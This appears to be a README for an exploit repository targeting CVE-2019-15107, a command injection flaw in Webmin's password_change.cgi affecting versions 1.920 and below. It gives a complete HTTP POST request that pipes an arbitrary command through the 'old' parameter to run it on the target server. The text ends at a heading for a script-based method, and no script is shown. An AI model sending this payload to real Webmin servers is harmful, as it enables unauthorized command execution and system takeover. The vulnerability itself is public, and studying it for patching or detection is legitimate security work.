WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin

1. Vulnerability Description Webmin is a powerful web-based system administration tool, widely used on Unix systems. Due to a command injection vulnerability in the old parameter during the processing of requests by Password_Change.cgi in Webmin, attackers can maliciously exploit it. When users enable the Webmin password reset function, attackers can leverage this vulnerability to execute arbitrary commands on vulnerable systems and thereby obtain a system shell.

Affected versions: Webmin 1.920 and below

2. Exploitation Method 1: Manual Detection Visit the page and ignore the certificate to see the Webmin login page

Send the following packet to execute the id command:

POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

Method 2: Using a script